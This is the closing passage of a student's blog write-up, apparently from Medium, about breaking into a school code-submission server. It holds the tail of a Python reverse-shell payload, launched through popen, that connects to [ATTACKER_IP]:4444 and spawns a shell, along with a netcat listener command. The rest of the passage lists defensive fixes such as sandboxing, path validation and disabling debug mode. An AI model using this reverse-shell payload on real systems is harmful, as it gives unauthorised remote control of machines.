&quot;s=socket.socket();s.connect((\&quot;[ATTACKER_IP]\&quot;,4444));&quot;<br>        &quot;[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn(\&quot;/sh\&quot;)&#39;&quot;, &quot;r&quot;);<br>    if (!pipe) { return 1; }<br>    pclose(pipe);<br>    return 0;<br>}</pre><p>With a netcat listener running on my machine (nc -lvnp 4444), I submitted the file through Burp Suite — and got a shell prompt on the Raspberry Pi.</p><p>roland@kali:~$ staring at /home/pi.</p><h3>What Could Have Prevented This</h3><p>The teacher actually asked this, so it’s worth thinking through seriously.</p><p><strong>1. Turn off debug mode.</strong> This is table stakes. DEBUG = False in production. It would have prevented the information leakage that made everything else easier.</p><p><strong>2. Proper input validation for the path.</strong> Don’t construct filesystem paths from user input at all if you can help it. If you must, use os.path.realpath() to resolve the final path and verify it starts with the expected base directory.</p><p><strong>3. The content filter needed to understand the language, not just scan for strings.</strong> A string-match filter on source code is always bypassable — preprocessors, encoding, obfuscation. Real solutions here are:</p><ul><li><strong>Sandbox execution</strong>: run submitted files in an isolated VM or container with no network access. The code can do whatever it wants; it can’t reach the outside world.</li><li><strong>Static analysis tools</strong> that actually parse the AST rather than scanning strings.</li><li><strong>Ban macros entirely</strong> for submissions — #define isn&#39;t needed for homework assignments and eliminates the whole category of preprocessor tricks.</li><li><strong>Block </strong><strong>popen()</strong> alongside system() and the exec family.</li></ul><p>The simplest real fix is a proper sandbox. Services like OPSWAT’s API exist for this, though they’re rate-limited or paid. A local solution — a stripped-down VM or Docker container with no network access — is more work but significantly reduces risk.</p><h3>What I Learned</h3><p>The technical stuff was fun. But the bigger lesson was that <strong>most vulnerabilities aren’t exotic</strong>. Debug mode left on. Path constructed from untrusted input. Content filter that doesn’t understand what it’s filtering.</p><p>None of these required a zero-day. They required reading the code, understanding what it was trying to do, and finding the gap between intention and implementation.</p><p><strong>So at the end of the day I still had to learn a little bit of C++.</strong></p><p><em>All vulnerabilities described here have been patched. This was done with the teacher’s full knowledge and permission, in the spirit of a learning exercise. If you’re a student thinking of trying something similar: ask first, like I did, and don’t forget to be cocky about it, else it might not hurt your ego enough if you fail.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a6b5495a9fb1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>